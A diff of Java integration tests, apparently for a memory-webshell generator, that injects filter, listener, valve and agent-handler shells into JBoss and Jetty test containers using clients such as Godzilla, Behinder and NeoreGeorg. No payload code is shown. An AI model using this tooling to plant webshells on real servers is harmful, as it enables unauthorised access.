ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM,
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
||||||
|
|||||||
+1
-3
@@ -54,9 +54,7 @@ public class Jboss610ContainerTest {
|
|||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM,
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+2
-3
@@ -57,9 +57,8 @@ public class Jboss711ContainerTest {
|
|||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM,
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
);
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
|
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-1
@@ -51,7 +51,11 @@ public class JbossEap7ContainerTest {
|
|||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.JBossEAP7;
|
Server server = Server.JBossEAP7;
|
||||||
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER);
|
List<String> supportedShellTypes = List.of(
|
||||||
|
ShellType.FILTER,
|
||||||
|
ShellType.LISTENER,
|
||||||
|
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
|
||||||
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-2
@@ -53,8 +53,7 @@ public class Jetty10ContainerTest {
|
|||||||
Server server = Server.Jetty;
|
Server server = Server.Jetty;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||||
ShellType.JETTY_AGENT_HANDLER,
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
ShellType.JETTY_AGENT_HANDLER_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
@@ -63,6 +62,7 @@ public class Jetty10ContainerTest {
|
|||||||
@AfterAll
|
@AfterAll
|
||||||
static void tearDown() {
|
static void tearDown() {
|
||||||
String logs = container.getLogs();
|
String logs = container.getLogs();
|
||||||
|
log.info(logs);
|
||||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+2
-8
@@ -17,7 +17,6 @@ import org.testcontainers.containers.wait.strategy.Wait;
|
|||||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Triple;
|
|
||||||
|
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
@@ -56,16 +55,11 @@ public class Jetty11ContainerTest {
|
|||||||
ShellType.JAKARTA_SERVLET,
|
ShellType.JAKARTA_SERVLET,
|
||||||
ShellType.JAKARTA_FILTER,
|
ShellType.JAKARTA_FILTER,
|
||||||
ShellType.JAKARTA_LISTENER,
|
ShellType.JAKARTA_LISTENER,
|
||||||
ShellType.JETTY_AGENT_HANDLER,
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
ShellType.JETTY_AGENT_HANDLER_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP);
|
List<Packers> testPackers = List.of(Packers.JSP);
|
||||||
List<Triple<String, ShellTool, Packers>> unSupportedCases = List.of(
|
|
||||||
Triple.of(ShellType.JETTY_AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar), // jdk module
|
|
||||||
Triple.of(ShellType.JETTY_AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar) // jdk module
|
|
||||||
);
|
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
||||||
unSupportedCases, List.of(ShellTool.AntSword)
|
null, List.of(ShellTool.AntSword)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+24
-20
@@ -11,14 +11,17 @@ import org.junit.jupiter.api.AfterAll;
|
|||||||
import org.junit.jupiter.params.ParameterizedTest;
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.DockerComposeContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
import java.io.File;
|
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
import static org.hamcrest.MatcherAssert.assertThat;
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
@@ -30,44 +33,45 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Slf4j
|
@Slf4j
|
||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Jetty12ee10ContainerTest {
|
public class Jetty12ee10ContainerTest {
|
||||||
public static final String imageName = "jetty:12.0-jre21-ee10";
|
public static final String imageName = "reajason/jetty:12.0-jre21-ee10";
|
||||||
public static final String serviceName = "jetty1221ee10";
|
static Network network = Network.newNetwork();
|
||||||
|
|
||||||
@Container
|
@Container
|
||||||
public static final DockerComposeContainer<?> compose =
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
new DockerComposeContainer<>(new File("docker-compose/jetty/docker-compose-12-jre21-ee10.yaml"))
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
.withExposedService(serviceName, 8080);
|
.withNetwork(network);
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
|
.withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war")
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.Jetty;
|
Server server = Server.Jetty;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.JAKARTA_SERVLET,
|
ShellType.JAKARTA_SERVLET,
|
||||||
ShellType.JAKARTA_FILTER,
|
ShellType.JAKARTA_FILTER,
|
||||||
ShellType.JAKARTA_LISTENER
|
ShellType.JAKARTA_LISTENER,
|
||||||
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.Base64);
|
List<Packers> testPackers = List.of(Packers.Base64);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
||||||
null, List.of(ShellTool.AntSword, ShellTool.NeoreGeorg) // AntSword not supported Jakarta
|
null, List.of(ShellTool.AntSword) // AntSword not supported Jakarta
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@AfterAll
|
@AfterAll
|
||||||
static void tearDown() {
|
static void tearDown() {
|
||||||
String logs = compose.getContainerByServiceName(serviceName).get().getLogs();
|
String logs = container.getLogs();
|
||||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getUrl() {
|
|
||||||
String host = compose.getServiceHost(serviceName, 8080);
|
|
||||||
int port = compose.getServicePort(serviceName, 8080);
|
|
||||||
String url = "http://" + host + ":" + port + "/app";
|
|
||||||
log.info("container started, app url is : {}", url);
|
|
||||||
return url;
|
|
||||||
}
|
|
||||||
|
|
||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, null);
|
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+24
-22
@@ -11,14 +11,17 @@ import org.junit.jupiter.api.AfterAll;
|
|||||||
import org.junit.jupiter.params.ParameterizedTest;
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.DockerComposeContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
import java.io.File;
|
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
import static org.hamcrest.MatcherAssert.assertThat;
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
@@ -30,44 +33,43 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Slf4j
|
@Slf4j
|
||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Jetty12ee8ContainerTest {
|
public class Jetty12ee8ContainerTest {
|
||||||
public static final String imageName = "jetty:12.0-jre21-ee8";
|
public static final String imageName = "reajason/jetty:12.0-jre21-ee8";
|
||||||
public static final String serviceName = "jetty1221ee8";
|
static Network network = Network.newNetwork();
|
||||||
|
|
||||||
@Container
|
@Container
|
||||||
public static final DockerComposeContainer<?> compose =
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
new DockerComposeContainer<>(new File("docker-compose/jetty/docker-compose-12-jre21-ee8.yaml"))
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
.withExposedService(serviceName, 8080);
|
.withNetwork(network);
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
|
.withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war")
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.Jetty;
|
Server server = Server.Jetty;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SERVLET,
|
ShellType.SERVLET,
|
||||||
ShellType.FILTER,
|
ShellType.FILTER,
|
||||||
ShellType.LISTENER
|
ShellType.LISTENER,
|
||||||
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.Base64);
|
List<Packers> testPackers = List.of(Packers.Base64);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
null, List.of(ShellTool.AntSword, ShellTool.NeoreGeorg) // AntSword not supported Jakarta
|
|
||||||
);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@AfterAll
|
@AfterAll
|
||||||
static void tearDown() {
|
static void tearDown() {
|
||||||
String logs = compose.getContainerByServiceName(serviceName).get().getLogs();
|
String logs = container.getLogs();
|
||||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getUrl() {
|
|
||||||
String host = compose.getServiceHost(serviceName, 8080);
|
|
||||||
int port = compose.getServicePort(serviceName, 8080);
|
|
||||||
String url = "http://" + host + ":" + port + "/app";
|
|
||||||
log.info("container started, app url is : {}", url);
|
|
||||||
return url;
|
|
||||||
}
|
|
||||||
|
|
||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, null);
|
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+26
-18
@@ -12,6 +12,10 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.DockerComposeContainer;
|
import org.testcontainers.containers.DockerComposeContainer;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -19,6 +23,9 @@ import java.io.File;
|
|||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.jettyPid;
|
||||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
import static org.hamcrest.MatcherAssert.assertThat;
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
@@ -30,44 +37,45 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Slf4j
|
@Slf4j
|
||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Jetty12ee9ContainerTest {
|
public class Jetty12ee9ContainerTest {
|
||||||
public static final String imageName = "jetty:12.0-jre21-ee9";
|
public static final String imageName = "reajason/jetty:12.0-jre21-ee9";
|
||||||
public static final String serviceName = "jetty1221ee9";
|
static Network network = Network.newNetwork();
|
||||||
|
|
||||||
@Container
|
@Container
|
||||||
public static final DockerComposeContainer<?> compose =
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
new DockerComposeContainer<>(new File("docker-compose/jetty/docker-compose-12-jre21-ee9.yaml"))
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
.withExposedService(serviceName, 8080);
|
.withNetwork(network);
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
|
.withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war")
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.Jetty;
|
Server server = Server.Jetty;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.JAKARTA_SERVLET,
|
ShellType.JAKARTA_SERVLET,
|
||||||
ShellType.JAKARTA_FILTER,
|
ShellType.JAKARTA_FILTER,
|
||||||
ShellType.JAKARTA_LISTENER
|
ShellType.JAKARTA_LISTENER,
|
||||||
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.Base64);
|
List<Packers> testPackers = List.of(Packers.Base64);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
||||||
null, List.of(ShellTool.AntSword, ShellTool.NeoreGeorg) // AntSword not supported Jakarta
|
null, List.of(ShellTool.AntSword) // AntSword not supported Jakarta
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@AfterAll
|
@AfterAll
|
||||||
static void tearDown() {
|
static void tearDown() {
|
||||||
String logs = compose.getContainerByServiceName(serviceName).get().getLogs();
|
String logs = container.getLogs();
|
||||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getUrl() {
|
|
||||||
String host = compose.getServiceHost(serviceName, 8080);
|
|
||||||
int port = compose.getServicePort(serviceName, 8080);
|
|
||||||
String url = "http://" + host + ":" + port + "/app";
|
|
||||||
log.info("container started, app url is : {}", url);
|
|
||||||
return url;
|
|
||||||
}
|
|
||||||
|
|
||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, null);
|
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-1
@@ -52,7 +52,8 @@ public class Jetty61ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.Jetty;
|
Server server = Server.Jetty;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER
|
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||||
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+1
-2
@@ -53,8 +53,7 @@ public class Jetty75ContainerTest {
|
|||||||
Server server = Server.Jetty;
|
Server server = Server.Jetty;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||||
ShellType.JETTY_AGENT_HANDLER,
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
ShellType.JETTY_AGENT_HANDLER_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+1
-2
@@ -53,8 +53,7 @@ public class Jetty76ContainerTest {
|
|||||||
Server server = Server.Jetty;
|
Server server = Server.Jetty;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||||
ShellType.JETTY_AGENT_HANDLER,
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
ShellType.JETTY_AGENT_HANDLER_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+1
-2
@@ -53,8 +53,7 @@ public class Jetty81ContainerTest {
|
|||||||
Server server = Server.Jetty;
|
Server server = Server.Jetty;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||||
ShellType.JETTY_AGENT_HANDLER,
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
ShellType.JETTY_AGENT_HANDLER_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+1
-2
@@ -54,8 +54,7 @@ public class Jetty92ContainerTest {
|
|||||||
Server server = Server.Jetty;
|
Server server = Server.Jetty;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||||
ShellType.JETTY_AGENT_HANDLER,
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
ShellType.JETTY_AGENT_HANDLER_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+2
-2
@@ -53,8 +53,7 @@ public class Jetty93ContainerTest {
|
|||||||
Server server = Server.Jetty;
|
Server server = Server.Jetty;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||||
ShellType.JETTY_AGENT_HANDLER,
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
ShellType.JETTY_AGENT_HANDLER_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
@@ -63,6 +62,7 @@ public class Jetty93ContainerTest {
|
|||||||
@AfterAll
|
@AfterAll
|
||||||
static void tearDown() {
|
static void tearDown() {
|
||||||
String logs = container.getLogs();
|
String logs = container.getLogs();
|
||||||
|
log.info(logs);
|
||||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
}
|
}
|
||||||
|
|
